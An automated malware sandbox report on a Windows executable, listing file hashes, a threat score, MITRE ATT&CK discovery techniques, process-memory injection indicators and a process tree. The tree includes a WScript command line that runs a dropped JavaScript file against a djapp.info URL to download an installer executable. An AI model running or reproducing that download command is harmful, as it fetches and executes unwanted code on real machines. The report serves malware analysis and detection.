7db5638e6dea74fb656c9b6271daf68054b672b9eedb40a14bb306d759457a05

General

Target

000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe
Size

184KB
MD5

000d059c70454bb1a52bb2f945eb5133
SHA1

925b0b1856d4778f86fda53cddb882c1535d01a2
SHA256

7db5638e6dea74fb656c9b6271daf68054b672b9eedb40a14bb306d759457a05
SHA512

79e9f404922c2c7ad4b87b7a4b233609ddd145ed672c11e1193408fe4bd9fabe462fd20e4500247f2a643527f1c50fe89219c9884934f04bff0e62ecbee5529a
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3c:/7BSH8zUB+nGESaaRvoB7FJNndn5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
17	3488	WScript.exe
49	4172	WScript.exe
50	4172	WScript.exe
59	4336	WScript.exe
74	4220	WScript.exe
77	1128	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3740	4372	WerFault.exe	83

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000_Classes\Local Settings	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 3488	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	84
PID 4372 wrote to memory of 3488	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	84
PID 4372 wrote to memory of 3488	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	84
PID 4372 wrote to memory of 4172	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	100
PID 4372 wrote to memory of 4172	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	100
PID 4372 wrote to memory of 4172	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	100
PID 4372 wrote to memory of 4336	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	104
PID 4372 wrote to memory of 4336	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	104
PID 4372 wrote to memory of 4336	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	104
PID 4372 wrote to memory of 4220	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	108
PID 4372 wrote to memory of 4220	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	108
PID 4372 wrote to memory of 4220	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	108
PID 4372 wrote to memory of 1128	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	109
PID 4372 wrote to memory of 1128	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	109
PID 4372 wrote to memory of 1128	4372	000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe	109

C:\Users\Admin\AppData\Local\Temp\000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\000d059c70454bb1a52bb2f945eb5133_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=QAhoWuDkko.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  - Blocklisted process makes network request
  PID:3488
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=QAhoWuDkko.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  - Blocklisted process makes network request
  PID:4172
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=QAhoWuDkko.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  - Blocklisted process makes network request
  PID:4336
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=QAhoWuDkko.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  - Blocklisted process makes network request
  PID:4220
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3623.js" http://www.djapp.info/?domain=QAhoWuDkko.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3623.exe
  2⤵
  - Blocklisted process makes network request
  PID:1128
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 1440
  2⤵
  - Program crash
  PID:3740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4372 -ip 4372
1⤵
PID:3752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3623.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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